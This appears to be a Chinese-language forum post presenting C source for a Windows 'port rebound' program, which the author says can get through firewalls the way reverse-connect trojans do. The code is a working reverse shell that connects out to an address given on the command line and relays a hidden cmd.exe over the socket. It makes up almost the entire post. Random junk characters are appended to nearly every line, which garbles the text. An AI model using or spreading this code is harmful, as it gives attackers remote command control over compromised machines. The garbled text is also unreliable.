Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 }TW=eu~  
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/* ============================== ;>9pJ72r  
Rebound port in Windows NT aw1J#5j`n  
By wind,2006/7 ay4xOwcR  
===============================*/ P}`1#$  
#include <4,
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#include *lAdS]I  
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#pragma comment(lib,"wsock32.lib") s_!Z+D$K  
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void OutputShell(); F.D1;,x  
SOCKET sClient; x["  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GcW}<g}  
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void main(int argc,char **argv) 9K<a}QJP  
{ dAl<'~g  
WSADATA stWsaData; Pl
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int nRet; RfG$Px '  
SOCKADDR_IN stSaiClient,stSaiServer; 0pa^O$?p  
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if(argc != 3) ~+yo;[1Yc  
{ {1|7N GQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); >r3< O=Z7  
return; QL18MbfqP  
} ZS]f+}0/}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); &Ld8Z9IeFp  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [_b='/8  
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stSaiClient.sin_family = AF_INET; Cpv%s 1M  
stSaiClient.sin_port = htons(0); P%HyIODS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z8 %\v(L  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l>Ja[`X@  
{ BrMp_M  
printf("Bind Socket Failed!\n"); _)2TLA n3  
return; 3MJWCo-[  
} |o=ST  
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stSaiServer.sin_family = AF_INET; +\vY;!^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -Bv1}xf=6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M;V#Gm  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4~YQ\4h=  
{ SliQwm5  
printf("Connect Error!"); E/$@ud|l"  
return; ^i)Q CDU7  
} N%|Vzc  
OutputShell(); JD`;,Md  
} 8;f<qu|w  
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void OutputShell()  / !  
{ x][9ptrh  
char szBuff[1024]; |SukiXJZF  
SECURITY_ATTRIBUTES stSecurityAttributes; <ZC^H  
OSVERSIONINFO stOsversionInfo; {^5<{j3e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G^@Jgx3n  
STARTUPINFO stStartupInfo; u+'@>%7  
char *szShell; pXj/6+^  
PROCESS_INFORMATION stProcessInformation; s5aOAyb*w  
unsigned long lBytesRead; _6S b.9m  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $]U5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5QFXj)hR+4  
stSecurityAttributes.lpSecurityDescriptor = 0; eTRx6Fri(  
stSecurityAttributes.bInheritHandle = TRUE; Vt)\[Tl~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^r$iN %&~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2DCcGKa"  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +s(IQt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f'`nx;@X  
stStartupInfo.wShowWindow = SW_HIDE; 3auJ^B}  
stStartupInfo.hStdInput = hReadPipe; pg}+lYGP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (06Vcqg  
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GetVersionEx(&stOsversionInfo); [T[9*6Kt  
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switch(stOsversionInfo.dwPlatformId) 'UvS3]bSYW  
{ JGO$4DK-1  
case 1: 5ih"Nds[H  
szShell = "command.com"; a[74%L?  
break; jle%|8m&@  
default: p-'6_\F.Ke  
szShell = "cmd.exe"; Xlqz8cI  
break; ]D) 'I`  
} T:g4D z*2\  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VmOFX:
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send(sClient,szMsg,77,0); gR-Qj  
while(1) 0n<(*bfW  
{ (XG[_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ULNAH`{D  
if(lBytesRead) n:bB$Ai2  
{ Id.Z[owC`Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |DFvZ
6}  
send(sClient,szBuff,lBytesRead,0); V^`?8P8d  
} x'@32gv  
else `Ge+(1x  
{ VTJIaqw  
lBytesRead=recv(sClient,szBuff,1024,0); aZawBU.:  
if(lBytesRead<=0) break; 3u?`q%Y-e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8R)D! 7[l  
} ] [HGzHA  
} orB8Q\p'  
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return; 0 .FHdJ<  
}